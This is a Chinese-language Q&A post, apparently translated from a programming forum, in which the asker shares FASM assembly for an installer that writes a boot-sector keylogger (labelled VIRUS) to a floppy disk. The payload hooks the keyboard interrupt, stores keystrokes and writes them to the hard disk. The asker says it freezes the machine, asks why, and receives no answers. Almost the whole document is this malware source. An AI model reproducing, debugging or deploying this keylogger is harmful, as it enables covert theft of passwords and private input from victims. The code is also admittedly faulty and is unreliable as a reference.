在软盘启动扇区上安装了键盘记录器的自举错误

时间:2019-05-28 12:49:08

标签: assembly boot fasm

我将键盘记录器安装到软盘的引导扇区上,但是安装键盘记录器软盘后不引导

org 0x100
mov ax,201h
mov bx,SETOR
mov cx,1
mov dx,0H
int 13h

mov ah,8
mov dx,0H
mov di,0
push es
mov es,di
INT 13H
pop es

mov ax,301h
sub cl,6
mov dl,0H
MOV WORD[SETOR+510],0AA55H
mov bx,SETOR
INT 13H

LEA DI,[SETOR+3EH]
MOV SI,KEYLOGGER
MOV CX,336
REP MOVSB

mov bx,SETOR
MOV WORD[SETOR+510],0AA55H
mov ax,301h
mov cx,1
mov dx,0H
INT 13H

ret


KEYLOGGER:
      cli             
            xor ax,ax
            mov ds,ax
            mov es,ax
            mov ss,ax
            mov sp,07C00h
        sti
                Kernel:
VIRUS:
cli
push es
mov ax,0
mov es,ax
es
mov cx,[24h]
es
mov dx,[26h]
es
mov [180h],cx
es
mov [182h],dx
mov cx,0
mov bp,7E00h
mov bp,ax
es
mov [24h],cx
es
mov [26h],bp
pop es
sti
push    es
mov             si,0
mov             es,si
mov             si,7C50h        
mov             di,bp
mov             cx,codesize-VIRUS         
repz
movsb
pop             es

push            es
mov             ax,bp
mov             es,ax
mov             ax,0
mov             bx,7F10h
mov             es,bp
es
mov             [bx],ax
pop             es

mov ah,8
mov dl,0H
mov di,0
push es
mov es,di
INT 13H
pop es
sub cl,6

mov ax,0000h
mov es,ax
mov bx,500h
mov dl,0h
mov al,01h
mov ah,02h
int 13h
jmp 0000:0500h

code:
pushf
pushaw ;db 60
sti

IN              AL,60H

push            ax
int             60h
pop             ax
push            cs
pop             bx
push            ds
mov             ds,bx
push            es
test            al,80h
jnz             L1
ds
mov             bx,[7F10h]
ds
lea             si,[7F10h+2]
ds
mov             [si+bx],al
inc             bx
ds
mov             [7F10h],bx
L1:
cmp             bx,512
jz              zera
jmp             pula
zera:
mov             ax,0
mov             [7F10h],ax
pula:

mov             ah,41h
mov             bx,55AAh
mov             dl,80h
INT             13h
jc              chs

mov             bp,cs
mov             ds,bp
mov             si,7B00h
mov             ah,48h
mov             dl,80h
INT             13h


mov             si,7B50h
mov             al,10h
mov             [7B50h],al
mov             al,0
mov             [7B51h],al
mov             al,01
mov             [7B52h],al
xor             ax,ax
mov             [7B53h],al
cs
lea             ax,[7F10h+2]
mov             [7B54h],ax
mov             ax,cs
mov             [7B56h],ax
mov             ax,[7B10h]
sub             ax,5
mov             [7B52h],ax
mov             ax,[7B12h]
mov             [7B54h],ax
xor             ax,ax
mov             [7B56h],ax
mov             [7B58h],ax

mov             ah,43h
mov             dl,80h
INT             13H 
pop             ds
jmp             skip

chs:
MOV             AH,8
MOV             DL,80h
MOV             DI,0
PUSH            ES
MOV             ES,DI
INT             13h
POP             ES

MOV             AH,3
MOV             AL,2
SUB             CL,2
PUSH            ES
MOV             BX,cs
MOV             ES,BX
LEA             BX,[7F10h+2]
MOV             DL,80h
INT             13h 
POP             ES

skip:
pop             ds
pop             es
mov             al,20h
out             20h,al
pop             es
pop             ds
popaw
popf
iret
codesize:

SETOR db 512 dup (0)
BUFFER db 1024 dup (0)

在将按键记录程序安装到引导程序扇区后,PC冻结,但是当我安装其他引导加载程序代码时,PC正常启动并使用软盘引导,并等待“ esc”按键代码。我的键盘记录器的问题在哪里?

0 个答案:

没有答案